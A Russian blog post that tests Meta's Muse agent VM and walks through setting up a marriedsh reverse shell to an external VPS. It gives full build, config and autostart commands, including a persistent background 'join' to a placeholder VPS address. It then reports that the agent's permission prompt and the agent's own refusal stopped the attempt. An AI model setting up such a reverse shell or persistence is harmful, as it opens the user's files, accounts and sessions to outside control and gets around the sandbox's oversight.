Muse выделяет каждому аккаунту независимую виртуальную машину на Linux. Многие спрашивают меня: можно ли использовать этот бесплатный облачный компьютер как настоящий облачный сервер (VPS)? И работают ли те гайды по туннелированию через reverse shell, которые гуляют по сети?
Я провел полноценное тестирование Muse на реальном устройстве с помощью нативных инструментов автоматизации CDP. Зафиксировал весь процесс: от проверки железа и разблокировки сетевых прав до реального перехвата reverse shell-соединений. А также разобрался, как превратить эту машину в легальный облачный сервер для запуска скриптов. Получилось практическое руководство и инструкция по обходу подводных камней.
1. Тест на реальном устройстве: проверяем 2 ядра, 8 ГБ ОЗУ и 100 ГБ диска «из коробки»
Многие ошибочно думают, что Muse — это просто временная песочница для диалога. Но если выполнить нативные команды проверки системы в терминале, становятся видны реальные физические параметры этого хоста.
Я ввел в терминал следующие команды:
1nproc2free -h3df -h4uname -a5whoami && pwd
Реальные данные из вывода терминала:
- Характеристики CPU: 2 ядра (x86_64)
- Объем памяти: общий объем 7,7 ГиБ, базовое потребление системы около 5,3 ГиБ, доступно примерно 2,5 ГиБ
- Смонтированные диски: под корневой раздел выделено 7,5 ГиБ, а в домашней директории пользователя /home/hatch смонтирован отдельный постоянный диск на 100 ГиБ (/dev/mapper/rv)
- Операционная система: Ubuntu 24.04.5 LTS (Noble Numbat), версия ядра 7.0.0-generic
- Права выполнения: по умолчанию работает от имени root в директории /home/hatch

Тесты показали: у каждого зарегистрированного пользователя действительно есть полностью независимая среда с 2 ядрами / 8 ГБ / 100 ГБ на Linux.
2. Базовый инструментарий разработчика и проверка исходящего трафика
Чтобы запускать на этой машине собственные фоновые инструменты, нужно понимать, какие средства разработки уже встроены и какие сетевые ограничения действуют.
Результаты дальнейших проверок в моем терминале:
- Предустановленные инструменты: в системе по умолчанию есть git версии 2.43.0 и curl 8.5.0; базовые утилиты для работы с сетью и загрузки файлов готовы к работе.
- Среда разработки: Rust (rustc) не предустановлен. Если нужно компилировать проекты на Rust, придется ставить его через официальные скрипты или сразу использовать готовые бинарники.
- Исходящий трафик: команда
curl -Is https://github.comвозвращает HTTP 200; исходящие запросы нормально проходят через внутренний прокси безопасности. - Директория, сохраняемая после перезагрузки: я уточнил у системы, что созданная в
/home/hatchпапка/home/hatch/pdataсохраняет данные после перезапусков. Она отлично подходит для хранения кастомных бинарных утилит и рабочих данных.

3. Обучающий пример: как настраивается популярная схема обратного туннелирования
Почему некоторые вообще пытаются настроить обратное подключение? Потому что Muse работает в облачной песочнице во внутренней сети, и из внешнего интернета нельзя напрямую обратиться к этой виртуальной машине по IP.
Типичная идея туннелирования звучит так: использовать инструмент обратного проксирования (например, marriedsh), чтобы Muse сам подключился к внешнему публичному VPS, а затем перехватить управление Shell-терминалом с этого VPS.
Стандартные шаги настройки такой схемы выглядят следующим образом:
1. Подготовка внешнего публичного VPS
Компилируем и разворачиваем серверную часть на отдельном VPS с белым IP:
1# 1. Клонируем и компилируем marriedsh2git clone https://github.com/swigger/marriedsh.git3cd marriedsh && cargo build --release4sudo cp target/release/marriedsh /usr/local/bin/56# 2. Настраиваем аутентификацию сервера ~/.config/marriedsh/config.toml7mkdir -p ~/.config/marriedsh8cat << 'EOF' > ~/.config/marriedsh/config.toml9[server]10bind = "0.0.0.0:8888"11password = "your_secure_password"12credential = "clark"13EOF
2. Пишем скрипт автозапуска клиента в Muse
Настраиваем скрипт автозапуска /home/hatch/init.sh в терминале Muse, чтобы при старте или активации задачи автоматически устанавливался обратный канал к VPS:
1mkdir -p /home/hatch/pdata/bin23cat << 'EOF' > /home/hatch/init.sh4#!/bin/bash5# Фоновый демон обратного подключения ВМ Muse при запуске6/home/hatch/pdata/bin/marriedsh join --lock /run/msh.lock -p your_secure_password --credential clark YOUR_VPS_IP:8888 > /home/hatch/pdata/msh.log 2>&1 &7EOF89chmod +x /home/hatch/init.sh
3. Перехват управления через консоль VPS
Как только соединение установлено, выполняем команду на стороне VPS, чтобы получить удаленный Shell:
1marriedsh console -n clark
4. Практика на реальном устройстве: почему принудительный reverse shell блокируется защитой?
Я реально выполнил все описанные выше шаги в терминале устройства. Результаты теста выявили два ключевых факта:
1. Изолирующий шлюз Sentinel для одиночных команд
Когда я попросил Muse выполнить git clone https://github.com/swigger/marriedsh.git, механизм Sentinel мгновенно выдал предупреждение о блокировке:
Разрешить Muse обмениваться данными с github.com? [Разрешить один раз] [Всегда разрешать для этого сайта] [Запретить]
Тест подтвердил: пока пользователь явно не нажмет «Разрешить», любая попытка связаться с неизвестными внешними доменами будет приостановлена системой.

2. Автоматический семантический контроль рисков и отказ от reverse shell
После того как права были одобрены и код успешно склонирован в /home/hatch/workspace/marriedsh, система собралась записать скрипт автозапуска для закрепления в системе. И тут базовая модель выравнивания (alignment model) Muse самостоятельно инициировала блокировку, выдав четкое объяснение отказа:
«В этот раз я выполнять не буду. Уточню два момента. Во-первых, вы только что одобрили лишь команду
git clone, а не запись скрипта автозапуска — разрешение не переносится на другие шаги. Во-вторых,marriedsh— это reverse shell: после установки и добавления в автозагрузку внешний сервер сможет выполнять любые команды на этой ВМ. А у этой машины есть доступ к вашим файлам памяти, подключенным аккаунтам и сессиям браузера. Поскольку целевой IP и пароль указаны как заглушки, я не стану это компилировать и запускать».

Мои тесты доказывают: попытка пробить reverse shell — путь в никуда. Вас не только остановит модель безопасности, но и прилетит бан от системы контроля рисков за подозрительно долгое внешнее соединение.
5. Главный урок: как использовать эту машину как полноценный VPS без туннелей?
Многие мыслят шаблонами: «Пока не подключишься через SSH-клиент, это не сервер».
Мои тесты показали, что правильный способ использовать эту виртуальную машину как VPS — превратить её в «всепогодный центр обработки данных и автоматизации»:
- Относитесь к чату как к супер-терминалу:
Не нужно открывать отдельный черный экран терминала. Команды можно отдавать прямо в диалоге, и система от имени root вызовет Python, запустит скрипты, обработает данные и выполнит конвертацию в фоне.
- Создайте постоянное облачное хранилище в `/home/hatch/pdata`:
Складывайте весь свой код, Python-скрипты и результаты очистки в директорию pdata. Мои тесты подтвердили: файлы на этом диске в 100 ГБ остаются целыми даже после входа с другого устройства или перезагрузки.
- Настройте круглосуточный демон через планировщик задач:
Решите проблему «выключается, когда закрываешь вкладку»: используйте официально поддерживаемые планы Scheduled Tasks, чтобы машина сама просыпалась каждый день в заданное время, выполняла пакетную обработку в фоне и писала логи аудита (audit.log).
- Выводите визуальные дашборды через Artifacts:
Обычный VPS после выполнения скриптов покажет только логи, а Muse способен напрямую превращать данные в интерактивные фронтенд-панели Web App.

6. Итоги и железные правила, чтобы не наступить на грабли
- Аппаратный бонус реален: мои тесты показали, что Meta действительно выдает каждому пользователю независимую среду с 2 ядрами / 8 ГБ / 100 ГБ SSD; вычислительная база очень солидная.
- Забудьте про reverse shell: не попадайтесь в ловушку обратных прокси — они не работают и легко приводят к банам от системы контроля рисков.
- Легальность — залог продуктивности: грамотно используйте постоянное хранилище
/home/hatch/pdataи таймеры Scheduled Task, чтобы бесплатно крутить собственный круглосуточный конвейер обработки данных.
Крупные компании остаются крупными компаниями. Использовать это как классический VPS вряд ли получится, но вариантов применения масса... В следующем выпуске протестируем: постоянные директории без лишней настройки, пишем Python-скрипты для очистки данных...





